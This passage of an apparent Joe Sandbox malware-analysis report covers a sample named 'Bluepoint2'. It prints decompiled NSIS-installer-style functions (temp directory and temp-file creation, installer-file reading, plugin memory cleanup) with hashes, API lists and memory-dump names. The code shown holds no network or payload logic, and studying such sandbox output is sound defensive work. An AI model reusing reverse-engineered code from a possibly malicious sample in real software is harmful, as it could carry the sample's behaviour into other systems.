                                                    • String ID: <svg xmlns="http://www.w3.org/2000/svg" width="16" height="16"> <g fill="#2e3436"> <path d="m 164,249 v 1.5 4.5 h 3 v -4.5 -1.5 z m -4,3 v 1.5 1.5 h 3 v -1.5 -1.5 z m -8,8 v 1.5 1.5 h 3 v -1.5 -1.5 z m 4,0 v 1.5 1.5 h 3 v -1.5 -1.5 z m 4,0 v 1.5 1.$font-variant-numeric:normal;font-variant-alternates:normal;font-feature-settings:normal;text-indent:0;text-align:start;text-decoration-line:none;text-decoration-style:solid;text-decoration-color:#000;text-transform:none;text-orientation:mixed;white-space:norma
                                                    • API String ID: 1092082344-546649030
                                                    • Opcode ID: 3ac154d52ea9800dffc85ef1316eb03f3be91f57b238af8bcd161a90f23d8065
                                                    • Instruction ID: 4a0f782daef8a724a5dada35133bb9654e3c612a62d69fcdf17392b9264be50a
                                                    • Opcode Fuzzy Hash: 3ac154d52ea9800dffc85ef1316eb03f3be91f57b238af8bcd161a90f23d8065
                                                    • Instruction Fuzzy Hash: 3A31AEB2650205EFC7209F29EE848263BADF70475A755023BE900B22F1C7B59D42DB9D
                                                    Uniqueness

                                                    Uniqueness Score: -1.00%

                                                    Control-flow Graph

                                                    • Executed
                                                    • Not Executed
                                                    control_flow_graph 955 405b99-405be4 CreateDirectoryW 956 405be6-405be8 955->956 957 405bea-405bf7 GetLastError 955->957 958 405c11-405c13 956->958 957->958 959 405bf9-405c0d SetFileSecurityW 957->959 959->956 960 405c0f GetLastError 959->960 960->958
                                                    C-Code - Quality: 100%
                                                    			E00405B99(WCHAR* _a4) {
                                                    				struct _SECURITY_ATTRIBUTES _v16;
                                                    				struct _SECURITY_DESCRIPTOR _v36;
                                                    				int _t22;
                                                    				long _t23;
                                                    
                                                    				_v36.Sbz1 = _v36.Sbz1 & 0x00000000;
                                                    				_v36.Owner = 0x4083f8;
                                                    				_v36.Group = 0x4083f8;
                                                    				_v36.Sacl = _v36.Sacl & 0x00000000;
                                                    				_v16.bInheritHandle = _v16.bInheritHandle & 0x00000000;
                                                    				_v16.lpSecurityDescriptor =  &_v36;
                                                    				_v36.Revision = 1;
                                                    				_v36.Control = 4;
                                                    				_v36.Dacl = 0x4083e8;
                                                    				_v16.nLength = 0xc;
                                                    				_t22 = CreateDirectoryW(_a4,  &_v16); // executed
                                                    				if(_t22 != 0) {
                                                    					L1:
                                                    					return 0;
                                                    				}
                                                    				_t23 = GetLastError();
                                                    				if(_t23 == 0xb7) {
                                                    					if(SetFileSecurityW(_a4, 0x80000007,  &_v36) != 0) {
                                                    						goto L1;
                                                    					}
                                                    					return GetLastError();
                                                    				}
                                                    				return _t23;
                                                    			}







                                                    0x00405ba4
                                                    0x00405ba8
                                                    0x00405bab
                                                    0x00405bb1
                                                    0x00405bb5
                                                    0x00405bb9
                                                    0x00405bc1
                                                    0x00405bc8
                                                    0x00405bce
                                                    0x00405bd5
                                                    0x00405bdc
                                                    0x00405be4
                                                    0x00405be6
                                                    0x00000000
                                                    0x00405be6
                                                    0x00405bf0
                                                    0x00405bf7
                                                    0x00405c0d
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x00405c0f
                                                    0x00405c13

                                                    APIs
                                                    • CreateDirectoryW.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\), ref: 00405BDC
                                                    • GetLastError.KERNEL32 ref: 00405BF0
                                                    • SetFileSecurityW.ADVAPI32(?,80000007,00000001), ref: 00405C05
                                                    • GetLastError.KERNEL32 ref: 00405C0F
                                                    Strings
                                                    • C:\Users\user\AppData\Local\Temp\, xrefs: 00405BBF
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.879975607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.879968063.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.879985321.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.879989484.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880011344.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880018380.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880022845.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880028225.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880037072.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_Bluepoint2.jbxd
                                                    Similarity
                                                    • API ID: ErrorLast$CreateDirectoryFileSecurity
                                                    • String ID: C:\Users\user\AppData\Local\Temp\
                                                    • API String ID: 3449924974-3936084776
                                                    • Opcode ID: 4d8c721838b8a92ea27708fe49d100345a2f80ebd1be40878b53e15a1b169c58
                                                    • Instruction ID: 886f74eda6482ab63e8fe18d08a652fea41827dc0a526659a7d7b5e138c44e4e
                                                    • Opcode Fuzzy Hash: 4d8c721838b8a92ea27708fe49d100345a2f80ebd1be40878b53e15a1b169c58
                                                    • Instruction Fuzzy Hash: 95010871D04219EAEF009FA1CD44BEFBBB8EF14314F04403ADA44B6180E7789648CB99
                                                    Uniqueness

                                                    Uniqueness Score: -1.00%

                                                    Control-flow Graph

                                                    • Executed
                                                    • Not Executed
                                                    control_flow_graph 961 726f1817-726f1856 call 726f1bff 965 726f185c-726f1860 961->965 966 726f1976-726f1978 961->966 967 726f1869-726f1876 call 726f2480 965->967 968 726f1862-726f1868 call 726f243e 965->968 973 726f1878-726f187d 967->973 974 726f18a6-726f18ad 967->974 968->967 977 726f187f-726f1880 973->977 978 726f1898-726f189b 973->978 975 726f18af-726f18cb call 726f2655 call 726f1654 call 726f1312 GlobalFree 974->975 976 726f18cd-726f18d1 974->976 1001 726f1925-726f1929 975->1001 979 726f191e-726f1924 call 726f2655 976->979 980 726f18d3-726f191c call 726f1666 call 726f2655 976->980 983 726f1888-726f1889 call 726f2b98 977->983 984 726f1882-726f1883 977->984 978->974 981 726f189d-726f189e call 726f2e23 978->981 979->1001 980->1001 994 726f18a3 981->994 997 726f188e 983->997 989 726f1885-726f1886 984->989 990 726f1890-726f1896 call 726f2810 984->990 989->974 989->983 1000 726f18a5 990->1000 994->1000 997->994 1000->974 1004 726f192b-726f1939 call 726f2618 1001->1004 1005 726f1966-726f196d 1001->1005 1011 726f193b-726f193e 1004->1011 1012 726f1951-726f1958 1004->1012 1005->966 1007 726f196f-726f1970 GlobalFree 1005->1007 1007->966 1011->1012 1014 726f1940-726f1948 1011->1014 1012->1005 1013 726f195a-726f1965 call 726f15dd 1012->1013 1013->1005 1014->1012 1016 726f194a-726f194b FreeLibrary 1014->1016 1016->1012
                                                    C-Code - Quality: 88%
                                                    			E726F1817(void* __edx, void* __edi, void* __esi, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20) {
                                                    				void _v36;
                                                    				char _v136;
                                                    				struct HINSTANCE__* _t37;
                                                    				intOrPtr _t42;
                                                    				void* _t48;
                                                    				void* _t49;
                                                    				void* _t50;
                                                    				void* _t54;
                                                    				intOrPtr _t57;
                                                    				signed int _t61;
                                                    				signed int _t63;
                                                    				void* _t67;
                                                    				void* _t68;
                                                    				void* _t72;
                                                    				void* _t76;
                                                    
                                                    				_t76 = __esi;
                                                    				_t68 = __edi;
                                                    				_t67 = __edx;
                                                    				 *0x726f506c = _a8;
                                                    				 *0x726f5070 = _a16;
                                                    				 *0x726f5074 = _a12;
                                                    				 *((intOrPtr*)(_a20 + 0xc))( *0x726f5048, E726F1651);
                                                    				_push(1); // executed
                                                    				_t37 = E726F1BFF(); // executed
                                                    				_t54 = _t37;
                                                    				if(_t54 == 0) {
                                                    					L28:
                                                    					return _t37;
                                                    				} else {
                                                    					if( *((intOrPtr*)(_t54 + 4)) != 1) {
                                                    						E726F243E(_t54);
                                                    					}
                                                    					_push(_t54);
                                                    					E726F2480(_t67);
                                                    					_t57 =  *((intOrPtr*)(_t54 + 4));
                                                    					if(_t57 == 0xffffffff) {
                                                    						L14:
                                                    						if(( *(_t54 + 0x1010) & 0x00000004) == 0) {
                                                    							if( *((intOrPtr*)(_t54 + 4)) == 0) {
                                                    								_push(_t54);
                                                    								_t37 = E726F2655();
                                                    							} else {
                                                    								_push(_t76);
                                                    								_push(_t68);
                                                    								_t61 = 8;
                                                    								_t13 = _t54 + 0x1018; // 0x1018
                                                    								memcpy( &_v36, _t13, _t61 << 2);
                                                    								_t42 = E726F1666(_t54,  &_v136);
                                                    								 *(_t54 + 0x1034) =  *(_t54 + 0x1034) & 0x00000000;
                                                    								_t18 = _t54 + 0x1018; // 0x1018
                                                    								_t72 = _t18;
                                                    								_push(_t54);
                                                    								 *((intOrPtr*)(_t54 + 0x1020)) = _t42;
                                                    								 *_t72 = 4;
                                                    								E726F2655();
                                                    								_t63 = 8;
                                                    								_t37 = memcpy(_t72,  &_v36, _t63 << 2);
                                                    							}
                                                    						} else {
                                                    							_push(_t54);
                                                    							E726F2655();
                                                    							_t37 = GlobalFree(E726F1312(E726F1654(_t54)));
                                                    						}
                                                    						if( *((intOrPtr*)(_t54 + 4)) != 1) {
                                                    							_t37 = E726F2618(_t54);
                                                    							if(( *(_t54 + 0x1010) & 0x00000040) != 0 &&  *_t54 == 1) {
                                                    								_t37 =  *(_t54 + 0x1008);
                                                    								if(_t37 != 0) {
                                                    									_t37 = FreeLibrary(_t37);
                                                    								}
                                                    							}
                                                    							if(( *(_t54 + 0x1010) & 0x00000020) != 0) {
                                                    								_t37 = E726F15DD( *0x726f5068);
                                                    							}
                                                    						}
                                                    						if(( *(_t54 + 0x1010) & 0x00000002) != 0) {
                                                    							goto L28;
                                                    						} else {
                                                    							return GlobalFree(_t54);
                                                    						}
                                                    					}
                                                    					_t48 =  *_t54;
                                                    					if(_t48 == 0) {
                                                    						if(_t57 != 1) {
                                                    							goto L14;
                                                    						}
                                                    						E726F2E23(_t54);
                                                    						L12:
                                                    						_t54 = _t48;
                                                    						L13:
                                                    						goto L14;
                                                    					}
                                                    					_t49 = _t48 - 1;
                                                    					if(_t49 == 0) {
                                                    						L8:
                                                    						_t48 = E726F2B98(_t57, _t54); // executed
                                                    						goto L12;
                                                    					}
                                                    					_t50 = _t49 - 1;
                                                    					if(_t50 == 0) {
                                                    						E726F2810(_t54);
                                                    						goto L13;
                                                    					}
                                                    					if(_t50 != 1) {
                                                    						goto L14;
                                                    					}
                                                    					goto L8;
                                                    				}
                                                    			}


















                                                    0x726f1817
                                                    0x726f1817
                                                    0x726f1817
                                                    0x726f1824
                                                    0x726f182c
                                                    0x726f1839
                                                    0x726f1847
                                                    0x726f184a
                                                    0x726f184c
                                                    0x726f1851
                                                    0x726f1856
                                                    0x726f1978
                                                    0x726f1978
                                                    0x726f185c
                                                    0x726f1860
                                                    0x726f1863
                                                    0x726f1868
                                                    0x726f1869
                                                    0x726f186a
                                                    0x726f1870
                                                    0x726f1876
                                                    0x726f18a6
                                                    0x726f18ad
                                                    0x726f18d1
                                                    0x726f191e
                                                    0x726f191f
                                                    0x726f18d3
                                                    0x726f18d3
                                                    0x726f18d4
                                                    0x726f18dd
                                                    0x726f18de
                                                    0x726f18e8
                                                    0x726f18eb
                                                    0x726f18f0
                                                    0x726f18f7
                                                    0x726f18f7
                                                    0x726f18fd
                                                    0x726f18fe
                                                    0x726f1904
                                                    0x726f190a
                                                    0x726f1917
                                                    0x726f1918
                                                    0x726f191b
                                                    0x726f18af
                                                    0x726f18af
                                                    0x726f18b0
                                                    0x726f18c5
                                                    0x726f18c5
                                                    0x726f1929
                                                    0x726f192c
                                                    0x726f1939
                                                    0x726f1940
                                                    0x726f1948
                                                    0x726f194b
                                                    0x726f194b
                                                    0x726f1948
                                                    0x726f1958
                                                    0x726f1960
                                                    0x726f1965
                                                    0x726f1958
                                                    0x726f196d
                                                    0x00000000
                                                    0x726f196f
                                                    0x00000000
                                                    0x726f1970
                                                    0x726f196d
                                                    0x726f187a
                                                    0x726f187d
                                                    0x726f189b
                                                    0x00000000
                                                    0x00000000
                                                    0x726f189e
                                                    0x726f18a3
                                                    0x726f18a3
                                                    0x726f18a5
                                                    0x00000000
                                                    0x726f18a5
                                                    0x726f187f
                                                    0x726f1880
                                                    0x726f1888
                                                    0x726f1889
                                                    0x00000000
                                                    0x726f1889
                                                    0x726f1882
                                                    0x726f1883
                                                    0x726f1891
                                                    0x00000000
                                                    0x726f1891
                                                    0x726f1886
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x726f1886

                                                    APIs
                                                      • Part of subcall function 726F1BFF: GlobalFree.KERNEL32 ref: 726F1E74
                                                      • Part of subcall function 726F1BFF: GlobalFree.KERNEL32 ref: 726F1E79
                                                      • Part of subcall function 726F1BFF: GlobalFree.KERNEL32 ref: 726F1E7E
                                                    • GlobalFree.KERNEL32 ref: 726F18C5
                                                    • FreeLibrary.KERNEL32(?), ref: 726F194B
                                                    • GlobalFree.KERNEL32 ref: 726F1970
                                                      • Part of subcall function 726F243E: GlobalAlloc.KERNEL32(00000040,?), ref: 726F246F
                                                      • Part of subcall function 726F2810: GlobalAlloc.KERNEL32(00000040,00000000,?,?,00000000,?,?,?,726F1896,00000000), ref: 726F28E0
                                                      • Part of subcall function 726F1666: wsprintfW.USER32 ref: 726F1694
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.881139933.00000000726F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 726F0000, based on PE: true
                                                    • Associated: 00000000.00000002.881121829.00000000726F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000000.00000002.881178498.00000000726F4000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000000.00000002.881186442.00000000726F6000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_726f0000_Bluepoint2.jbxd
                                                    Similarity
                                                    • API ID: Global$Free$Alloc$Librarywsprintf
                                                    • String ID:
                                                    • API String ID: 3962662361-3916222277
                                                    • Opcode ID: abf84fe5eff47bc612d7c8ec315e574f633e051dbea5bfc0b4b509ef61518a41
                                                    • Instruction ID: 74c01427e31c3b2004d54f3bf8239e7885ec6b855deccc07880ed8b9ecf3bc88
                                                    • Opcode Fuzzy Hash: abf84fe5eff47bc612d7c8ec315e574f633e051dbea5bfc0b4b509ef61518a41
                                                    • Instruction Fuzzy Hash: 5741DAF14002459BDF019F3CD988B893BADBF05394F1464ABEE169A0CADB74C584CBA4
                                                    Uniqueness

                                                    Uniqueness Score: -1.00%

                                                    Control-flow Graph

                                                    • Executed
                                                    • Not Executed
                                                    control_flow_graph 1018 406187-406193 1019 406194-4061c8 GetTickCount GetTempFileNameW 1018->1019 1020 4061d7-4061d9 1019->1020 1021 4061ca-4061cc 1019->1021 1023 4061d1-4061d4 1020->1023 1021->1019 1022 4061ce 1021->1022 1022->1023
                                                    C-Code - Quality: 100%
                                                    			E00406187(void* __ecx, WCHAR* _a4, WCHAR* _a8) {
                                                    				intOrPtr _v8;
                                                    				short _v12;
                                                    				short _t12;
                                                    				intOrPtr _t13;
                                                    				signed int _t14;
                                                    				WCHAR* _t17;
                                                    				signed int _t19;
                                                    				signed short _t23;
                                                    				WCHAR* _t26;
                                                    
                                                    				_t26 = _a4;
                                                    				_t23 = 0x64;
                                                    				while(1) {
                                                    					_t12 =  *L"nsa"; // 0x73006e
                                                    					_t23 = _t23 - 1;
                                                    					_v12 = _t12;
                                                    					_t13 =  *0x40a5ac; // 0x61
                                                    					_v8 = _t13;
                                                    					_t14 = GetTickCount();
                                                    					_t19 = 0x1a;
                                                    					_v8 = _v8 + _t14 % _t19;
                                                    					_t17 = GetTempFileNameW(_a8,  &_v12, 0, _t26); // executed
                                                    					if(_t17 != 0) {
                                                    						break;
                                                    					}
                                                    					if(_t23 != 0) {
                                                    						continue;
                                                    					} else {
                                                    						 *_t26 =  *_t26 & _t23;
                                                    					}
                                                    					L4:
                                                    					return _t17;
                                                    				}
                                                    				_t17 = _t26;
                                                    				goto L4;
                                                    			}












                                                    0x0040618d
                                                    0x00406193
                                                    0x00406194
                                                    0x00406194
                                                    0x00406199
                                                    0x0040619a
                                                    0x0040619d
                                                    0x004061a2
                                                    0x004061a5
                                                    0x004061af
                                                    0x004061bc
                                                    0x004061c0
                                                    0x004061c8
                                                    0x00000000
                                                    0x00000000
                                                    0x004061cc
                                                    0x00000000
                                                    0x004061ce
                                                    0x004061ce
                                                    0x004061ce
                                                    0x004061d1
                                                    0x004061d4
                                                    0x004061d4
                                                    0x004061d7
                                                    0x00000000

                                                    APIs
                                                    • GetTickCount.KERNEL32 ref: 004061A5
                                                    • GetTempFileNameW.KERNELBASE(?,?,00000000,?,?,?,?,0040363E,1033,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403923), ref: 004061C0
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.879975607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.879968063.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.879985321.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.879989484.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880011344.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880018380.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880022845.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880028225.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880037072.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_Bluepoint2.jbxd
                                                    Similarity
                                                    • API ID: CountFileNameTempTick
                                                    • String ID: C:\Users\user\AppData\Local\Temp\$nsa
                                                    • API String ID: 1716503409-1857211195
                                                    • Opcode ID: 6315ab6e6f8253ba2c88c9b6803a176270f8621abb800126aa0f3c3b7b9ef66c
                                                    • Instruction ID: 21b676f9b33da427d45e0b2d6905a63b6509bf3d89a4e990effff8b21c6fdcbe
                                                    • Opcode Fuzzy Hash: 6315ab6e6f8253ba2c88c9b6803a176270f8621abb800126aa0f3c3b7b9ef66c
                                                    • Instruction Fuzzy Hash: C3F09076700214BFEB008F59DD05E9AB7BCEBA1710F11803AEE05EB180E6B0A9648768
                                                    Uniqueness

                                                    Uniqueness Score: -1.00%

                                                    Control-flow Graph

                                                    • Executed
                                                    • Not Executed
                                                    control_flow_graph 1107 403371-40337e 1108 403380-403396 SetFilePointer 1107->1108 1109 40339c-4033a5 call 403479 1107->1109 1108->1109 1112 403473-403476 1109->1112 1113 4033ab-4033be call 4061db 1109->1113 1116 403463 1113->1116 1117 4033c4-4033d7 call 403479 1113->1117 1119 403465-403466 1116->1119 1121 403471 1117->1121 1122 4033dd-4033e0 1117->1122 1119->1112 1121->1112 1123 4033e2-4033e5 1122->1123 1124 40343f-403445 1122->1124 1123->1121 1127 4033eb 1123->1127 1125 403447 1124->1125 1126 40344a-403461 ReadFile 1124->1126 1125->1126 1126->1116 1128 403468-40346b 1126->1128 1129 4033f0-4033fa 1127->1129 1128->1121 1130 403401-403413 call 4061db 1129->1130 1131 4033fc 1129->1131 1130->1116 1134 403415-40341c call 40620a 1130->1134 1131->1130 1136 403421-403423 1134->1136 1137 403425-403437 1136->1137 1138 40343b-40343d 1136->1138 1137->1129 1139 403439 1137->1139 1138->1119 1139->1121
                                                    C-Code - Quality: 92%
                                                    			E00403371(void* __ecx, long _a4, intOrPtr _a8, void* _a12, long _a16) {
                                                    				long _v8;
                                                    				long _t21;
                                                    				long _t22;
                                                    				void* _t24;
                                                    				long _t26;
                                                    				int _t27;
                                                    				long _t28;
                                                    				void* _t30;
                                                    				long _t31;
                                                    				long _t32;
                                                    				long _t36;
                                                    
                                                    				_t21 = _a4;
                                                    				if(_t21 >= 0) {
                                                    					_t32 = _t21 +  *0x42a2b8;
                                                    					 *0x420ef4 = _t32;
                                                    					SetFilePointer( *0x40a01c, _t32, 0, 0); // executed
                                                    				}
                                                    				_t22 = E00403479(4);
                                                    				if(_t22 >= 0) {
                                                    					_t24 = E004061DB( *0x40a01c,  &_a4, 4); // executed
                                                    					if(_t24 == 0) {
                                                    						L18:
                                                    						_push(0xfffffffd);
                                                    						goto L19;
                                                    					} else {
                                                    						 *0x420ef4 =  *0x420ef4 + 4;
                                                    						_t36 = E00403479(_a4);
                                                    						if(_t36 < 0) {
                                                    							L21:
                                                    							_t22 = _t36;
                                                    						} else {
                                                    							if(_a12 != 0) {
                                                    								_t26 = _a4;
                                                    								if(_t26 >= _a16) {
                                                    									_t26 = _a16;
                                                    								}
                                                    								_t27 = ReadFile( *0x40a01c, _a12, _t26,  &_v8, 0); // executed
                                                    								if(_t27 != 0) {
                                                    									_t36 = _v8;
                                                    									 *0x420ef4 =  *0x420ef4 + _t36;
                                                    									goto L21;
                                                    								} else {
                                                    									goto L18;
                                                    								}
                                                    							} else {
                                                    								if(_a4 <= 0) {
                                                    									goto L21;
                                                    								} else {
                                                    									while(1) {
                                                    										_t28 = _a4;
                                                    										if(_a4 >= 0x4000) {
                                                    											_t28 = 0x4000;
                                                    										}
                                                    										_v8 = _t28;
                                                    										if(E004061DB( *0x40a01c, 0x414ef0, _t28) == 0) {
                                                    											goto L18;
                                                    										}
                                                    										_t30 = E0040620A(_a8, 0x414ef0, _v8); // executed
                                                    										if(_t30 == 0) {
                                                    											_push(0xfffffffe);
                                                    											L19:
                                                    											_pop(_t22);
                                                    										} else {
                                                    											_t31 = _v8;
                                                    											_a4 = _a4 - _t31;
                                                    											 *0x420ef4 =  *0x420ef4 + _t31;
                                                    											_t36 = _t36 + _t31;
                                                    											if(_a4 > 0) {
                                                    												continue;
                                                    											} else {
                                                    												goto L21;
                                                    											}
                                                    										}
                                                    										goto L22;
                                                    									}
                                                    									goto L18;
                                                    								}
                                                    							}
                                                    						}
                                                    					}
                                                    				}
                                                    				L22:
                                                    				return _t22;
                                                    			}














                                                    0x00403375
                                                    0x0040337e
                                                    0x00403387
                                                    0x0040338b
                                                    0x00403396
                                                    0x00403396
                                                    0x0040339e
                                                    0x004033a5
                                                    0x004033b7
                                                    0x004033be
                                                    0x00403463
                                                    0x00403463
                                                    0x00000000
                                                    0x004033c4
                                                    0x004033c7
                                                    0x004033d3
                                                    0x004033d7
                                                    0x00403471
                                                    0x00403471
                                                    0x004033dd
                                                    0x004033e0
                                                    0x0040343f
                                                    0x00403445
                                                    0x00403447
                                                    0x00403447
                                                    0x00403459
                                                    0x00403461
                                                    0x00403468
                                                    0x0040346b
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x004033e2
                                                    0x004033e5
                                                    0x00000000
                                                    0x004033eb
                                                    0x004033f0
                                                    0x004033f7
                                                    0x004033fa
                                                    0x004033fc
                                                    0x004033fc
                                                    0x00403409
                                                    0x00403413
                                                    0x00000000
                                                    0x00000000
                                                    0x0040341c
                                                    0x00403423
                                                    0x0040343b
                                                    0x00403465
                                                    0x00403465
                                                    0x00403425
                                                    0x00403425
                                                    0x00403428
                                                    0x0040342b
                                                    0x00403431
                                                    0x00403437
                                                    0x00000000
                                                    0x00403439
                                                    0x00000000
                                                    0x00403439
                                                    0x00403437
                                                    0x00000000
                                                    0x00403423
                                                    0x00000000
                                                    0x004033f0
                                                    0x004033e5
                                                    0x004033e0
                                                    0x004033d7
                                                    0x004033be
                                                    0x00403473
                                                    0x00403476

                                                    APIs
                                                    • SetFilePointer.KERNELBASE(?,00000000,00000000,00000000,00000000,?,?,0040331D,000000FF,00000000,00000000,?,?), ref: 00403396
                                                    Strings
                                                    • <svg xmlns="http://www.w3.org/2000/svg" width="16" height="16"> <g fill="#2e3436"> <path d="m 164,249 v 1.5 4.5 h 3 v -4.5 -1.5 z m -4,3 v 1.5 1.5 h 3 v -1.5 -1.5 z m -8,8 v 1.5 1.5 h 3 v -1.5 -1.5 z m 4,0 v 1.5 1.5 h 3 v -1.5 -1.5 z m 4,0 v 1.5 1., xrefs: 004033EB, 00403402, 00403418
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.879975607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.879968063.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.879985321.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.879989484.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880011344.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880018380.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880022845.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880028225.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880037072.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_Bluepoint2.jbxd
                                                    Similarity
                                                    • API ID: FilePointer
                                                    • String ID: <svg xmlns="http://www.w3.org/2000/svg" width="16" height="16"> <g fill="#2e3436"> <path d="m 164,249 v 1.5 4.5 h 3 v -4.5 -1.5 z m -4,3 v 1.5 1.5 h 3 v -1.5 -1.5 z m -8,8 v 1.5 1.5 h 3 v -1.5 -1.5 z m 4,0 v 1.5 1.5 h 3 v -1.5 -1.5 z m 4,0 v 1.5 1.
                                                    • API String ID: 973152223-4006934602
                                                    • Opcode ID: b1bf35b654f0c361909532a2badc84153f12731a676864620281ad9f652e4f28
                                                    • Instruction ID: 963a71f16df831595788c30304fa9cedbf2cad19eb63879c1ada4fe15c9ed8fa
                                                    • Opcode Fuzzy Hash: b1bf35b654f0c361909532a2badc84153f12731a676864620281ad9f652e4f28
                                                    • Instruction Fuzzy Hash: 93319F70200219EFDB129F65ED84E9A3FA8FF00355B10443AF905EA1A1D778CE51DBA9
                                                    Uniqueness

                                                    Uniqueness Score: -1.00%

                                                    C-Code - Quality: 89%
                                                    			E0040563E(struct HWND__* _a4, int _a8, int _a12, long _a16) {
                                                    				long _t9;
                                                    				int _t15;
                                                    				long _t16;
                                                    
                                                    				_t15 = _a8;
                                                    				if(_t15 != 0x102) {
                                                    					if(_t15 != 0x200) {
                                                    						_t16 = _a16;
                                                    						L7:
                                                    						if(_t15 == 0x419 &&  *0x423734 != _t16) {
                                                    							_push(_t16);
                                                    							_push(6);
                                                    							 *0x423734 = _t16;
                                                    							E00404FFF();
                                                    						}
                                                    						L11:
                                                    						_t9 = CallWindowProcW( *0x42373c, _a4, _t15, _a12, _t16); // executed
                                                    						return _t9;
                                                    					}
                                                    					if(IsWindowVisible(_a4) == 0) {
                                                    						L10:
                                                    						_t16 = _a16;
                                                    						goto L11;
                                                    					}
                                                    					_t16 = E00404F7F(_a4, 1);
                                                    					_t15 = 0x419;
                                                    					goto L7;
                                                    				}
                                                    				if(_a12 != 0x20) {
                                                    					goto L10;
                                                    				}
                                                    				E00404610(0x413);
                                                    				return 0;
                                                    			}






                                                    0x00405642
                                                    0x0040564c
                                                    0x00405668
                                                    0x0040568a
                                                    0x0040568d
                                                    0x00405693
                                                    0x0040569d
                                                    0x0040569e
                                                    0x004056a0
                                                    0x004056a6
                                                    0x004056a6
                                                    0x004056b0
                                                    0x004056be
                                                    0x00000000
                                                    0x004056be
                                                    0x00405675
                                                    0x004056ad
                                                    0x004056ad
                                                    0x00000000
                                                    0x004056ad
                                                    0x00405681
                                                    0x00405683
                                                    0x00000000
                                                    0x00405683
                                                    0x00405652
                                                    0x00000000
                                                    0x00000000
                                                    0x00405659
                                                    0x00000000

                                                    APIs
                                                    • IsWindowVisible.USER32(?), ref: 0040566D
                                                    • CallWindowProcW.USER32(?,?,?,?), ref: 004056BE
                                                      • Part of subcall function 00404610: SendMessageW.USER32(?,00000000,00000000,00000000), ref: 00404622
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.879975607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.879968063.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.879985321.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.879989484.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880011344.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880018380.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880022845.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
